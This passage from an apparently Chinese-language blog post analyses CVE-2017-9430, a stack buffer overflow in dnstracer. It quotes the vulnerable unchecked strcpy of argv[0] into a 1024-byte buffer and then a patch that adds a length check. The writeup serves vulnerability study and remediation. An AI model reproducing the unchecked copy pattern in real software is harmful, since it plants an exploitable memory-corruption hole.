Aborted (core dumped)

漏洞分析

漏洞原因:把参数 argv[0] 复制到数组 argv0 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:

1
2
3
4
// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif
1
2
3
4
5
6
7
8
9
// dnstracer.c
int main(int argc, char **argv)
{
[...]
char argv0[NS_MAXDNAME];
[...]
strcpy(argv0, argv[0]);
[...]
}

漏洞修复

要修这个漏洞的话,在调用 strcpy() 前加上对参数长度的检查就可以了:

1
2
3
4
5
6
7
8
9
10
11
/*CVE-2017-9430 Fix*/
if(strlen(argv[0]) >= NS_MAXDNAME)
{
free(server_ip);
free(server_name);
fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
return 1;
}

// check for a trailing dot
strcpy(argv0, argv[0]);
Read More
⬆︎TOP